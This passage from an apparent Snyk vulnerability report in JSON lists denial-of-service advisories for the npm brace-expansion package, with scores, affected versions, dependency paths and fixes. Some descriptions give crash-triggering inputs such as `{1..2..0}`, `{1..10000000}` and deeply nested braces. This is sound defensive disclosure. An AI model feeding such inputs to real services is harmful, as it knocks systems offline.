`minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", 